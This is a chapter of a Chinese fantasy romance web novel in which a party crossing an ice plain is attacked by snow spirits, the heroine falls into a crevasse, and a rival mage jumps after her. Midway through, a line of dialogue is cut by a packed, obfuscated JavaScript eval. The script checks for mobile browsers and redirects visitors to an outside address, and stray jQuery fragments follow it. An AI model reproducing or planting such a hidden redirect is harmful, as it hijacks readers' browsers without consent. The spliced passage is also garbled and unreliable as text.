22. 尖叫与坠落

作品:《前任变皇兄,但我只想屠龙[西幻]

    进入冰原外围之后,气温骤降,连呼出的气都变成了一团团白雾。


    好在路西恩购买药品时顺便采购了几套冬装,除了自己用法术御寒的法师以外,一行人裹得严严实实的,再加上路西恩的防风术法,姑且扛得住寒风。


    但西里尔并不这样认为。


    “路西恩,”他扯了扯领口那圈厚实得有些扎人的毛领,“你确定这是最好的冬装?闻起来像烂了三年的死狐狸。”


    “殿下,这可是当地猎户进山打猎穿的,没有比这更暖和的了。”路西恩语气谦卑,揪不出一点错处,“总比冻成冰雕好,对吧?”


    露佩拉裹紧了身上同样散发野兽气息的斗篷,看着西里尔那副受了委屈的样子,忍不住在心里叹了口气。


    天龙人就是事多。


    离开落石镇的时候,露佩拉虽然成功避免了护卫队的制裁,但设立赌局的人似乎不愿放过他们,气急败坏地带了一堆打手和劣质砍刀在路口堵人。


    “一群蝼蚁也敢挡我的路?”


    西里尔的眼神凛冽,准备动用他部署在落石镇的暗卫,但被露佩拉好说歹说拦了下来。


    “我的殿下,强龙不压地头蛇,”露佩拉凑到他耳边,“万一又把你那些兄弟引来怎么办?下次我可不会再陪你泡温泉了,你自己打。”


    温泉两个字让西里尔有些心猿意马,也就没心思再跟他们纠缠了,甚至还大手一挥丢给庄家一袋金币,平息了这次事端。


    服装和安全的问题虽然解决了,但出行问题还没有。马蹄在冰上容易打滑,也没有地方能租借雪橇,一行人最后只能放弃马匹,改为步行进山。


    这里的积雪已经没过了膝盖,每走一步都要消耗不少体力。凯恩在最前方开路,不仅要用重剑查探冰层下的空洞,还要时刻注意风向,用自己宽阔的后背为露佩拉筑起一道移动的挡风墙。


    他的眉毛和睫毛上已经结了一层细碎的冰晶,银白毛发倒显得他有几分王室气质。但他感觉不到疲惫,也感觉不到冷,每走几步就要回头露佩拉跟上没有。


    露佩拉和西里尔作为尊者居中接受保护,伊利安和路西恩则负责殿后。


    自从出了落石镇,露佩拉一直能感觉到粘在后背上的阴湿视线,跟癞蛤蟆的舌头似的,想必伊利安已经确认了她的身份。


    兵来将挡水来土掩吧,毕竟皇室任务在身,他也不敢动她,多半会找机会在她身上加上追踪法术。路西恩应该能解,实在不行再找找别的法师和典籍,总归会有法子的。


    西里尔很快注意到了后方的视线,他放慢步伐,挡住露佩拉大半身形。每次伊利安试图往侧边挪步寻找视角时,西里尔都会往对应的方向移一步,不让伊利安看到露佩拉一片衣角。


    两个加起来一千六百个心眼子的男人,此刻就像两只较劲的螃蟹。


    伊利安往左挪半步,西里尔就立刻往左跨一步;伊利安假装看风景向右探头,西里尔就立刻调整披风角度,将露佩拉挡得严严实实。


    “哎呀,两位殿下真是兄妹情深。”路西恩的目光在三个人中间流转,笑眯眯地开启了新的话题,“王子殿下护得这么紧,是怕公主殿下被冰原上的风吹走吗?”


    “自从进了这冰原,我就能感觉到有一道让人非常不适的视线,一直看向这边。”西里尔微侧过头,乜斜着看了一眼伊利安,“伊利安阁下,法师的直觉想必十分灵敏,不知你是否有这种不祥的预感?”


    “预感?”伊利安那双蛇一般的金瞳装模作样地扫了一眼四周,最后落到西里尔身上,“我只看到一些早就该消失的残影,殿下放心,我会一直看着,直到看清那是什么的。”


    “阿嚏——”


    冰原上的寒风吹得露佩拉鼻酸,她捂着鼻子酝酿半天,最后还是打了个喷嚏,打散了后面的三个男人一台戏。


    还好这个世界没有被人说坏话会打喷嚏的说法,露佩拉心安理得地拿着地图和指南针,继续和凯恩沟通路线。


    “凯恩,为什么不从西北方这边的森林走?”露佩拉伸手替凯恩擦掉眉毛上的冰,将地图递到他面前。


    凯恩低头看向露佩拉,一朵细小的雪花落在她的眼睫上,随着她眨眼的频率闪动。


    “殿下……”凯恩看着那朵雪花消散在银白之中,将目光移向地图,“听落石镇的人说,那片森林有雪灵泛滥,所以避开了这条线路,选择了冰封河谷。”


    “不行。”露佩拉指甲在地图上轻轻一划,精准地避开了几处蓝色阴影,“这里是蓝冰裂隙的高发区,风向一旦转北,积雪会掩盖所有的洞穴。我们要走这条乱石岗,虽然颠簸,但地基是旧大陆的黑钢岩,踩不碎。”


    “殿下如何得知?”凯恩露出求知若渴的眼神,但这目光落在西里尔和伊利安的眼里,却显得有些扎眼。


    “当然也是在落石镇打探到的消息,”露佩拉重新将地图卷起来,递给凯恩,“我们获取的线索拼在一起正好合适呢。”


    露佩拉的语气里带着后方三个男人从未听过的轻快与信任,这让渴望得到主人认可的凯恩欣喜若狂,如果他是条狗的话,估计尾巴已经卷起一场暴风雪了。


    伊利安正准备开口讥讽,却听到前方的风雪里传来一阵细碎的哭声。


    “妈妈……我冷……”


    一张苍白的脸从冰丘后探了出来,看起来像是被冻得失温了一样。


    “大哥哥……”那个孩子向队伍最前方的凯恩求救,如泣如诉,“我迷路了……帮我找妈妈好不好……”


    凯恩神色一软,下意识地想要踏出一步:“你是落石镇迷路的孩子?”


    “别动。”露佩拉一把拽住了凯恩冰冷的护腕,“看它的脚。”


    凯恩视线下移,那孩子光着脚踩在面上,不仅没有被冻住,周围的冰雪也没有因为体温而融化。


    “这是……落石镇居民说的雪灵?”凯恩恍然大悟。


    “对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190878|195738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”露佩拉拉着凯恩缓缓后退,与雪灵拉开距离,“它没什么攻击力,但是碰到它之后会被吸收温度,冻死在雪原里。”


    见伪装被识破,雪灵不再哭喊,而是发出一声嘹亮的尖叫,一行人还没来得及捂上耳朵,便听见冰原里传来无数同样的回声。


    露佩拉环视四周,发现眨眼间已经多了十几个雪灵,都张着嘴高声尖叫。它们的嘴角一直开到耳后,露出了口腔里密密麻麻的细小尖牙,如同口器一般。


    路西恩的防风结界在这尖锐的声波攻击下像玻璃一样布满裂纹,而原本就被视为危险区的冰层,更是在这种共振下发出了碎裂声。


    “稳住平衡!”


    凯恩大喊一声,将重剑插入离他最近的冰丘,试图以剑作为锚点,强行固定住脚下的冰层。


    西里尔知道露佩拉的本事,没有看护她,而是转身释放剑气,攻击雪灵最密集的区域。被切碎的雪娃娃发出了更加凄厉的喊叫,化作一滩滩白色的粘液。


    趁着音波阵势出现缺口的瞬间,露佩拉强忍耳鸣,飞快地扫视四周。


    不行,这里不能待了。


    脚下的浮冰已经像孤岛一样四分五裂,唯一的生路在三点钟方向,那里有一块凸起的黑钢岩,那是整个冰河最坚硬的地基。


    露佩拉正准备向大家传递信号,却没想到这些怪物的心智远比想象中成熟。那个正对着生路方向的雪灵转向她,嘴里吐出了一面光滑如镜的冰晶核心,正午阳光经过冰晶的聚焦折射,化作一道足以致盲的高强度白光,直直刺入她的眼睛。


    “唔……”露佩拉眼前一片雪白,脚下还没来得及踩实,就踏入了空洞之中。


    最后一块脆弱的浮冰彻底断裂,失去了平衡的露佩拉甚至来不及调整姿势,整个人就笔直坠向了深不见底的幽蓝冰窟。


    “殿下!”


    凯恩欲伸手去拉,却被三个雪灵团团围住,分身乏术,西里尔亦是如此。队伍最后方的路西恩甚至还没来得及念出咒语,露佩拉的身影就已经被洞窟吞噬了。


    在露佩拉身后窥伺已久的伊利安,比任何人都更早发现她的坠落。


    当初她也是这样,在他眼前坠入深渊,没能抓住她的无力感折磨了他整整半年。


    伸手施救的机会近在眼前,但他不想这样。


    伊利安脚尖点了下地,便纵身一跃,和她一起掉了下去。


    呼啸而过的风割在脸上,比外面的寒风还要伤人,可他并不觉得痛,反而趁着坠落之前那一脚的助力追上了露佩拉。


    他一手环住她的腰,将她拉进怀里,另一只手则护住她的后脑勺,将她完全圈禁。


    在这个只有他们两个人坠落的世界里,没有人能再抢走她。


    伊利安没有使用任何减速和漂浮的法术,甚至还在享受着这样感官过载的失重感。


    她从塔上坠落时也是这样的感觉吗?


    “露佩拉,我抓住你了。”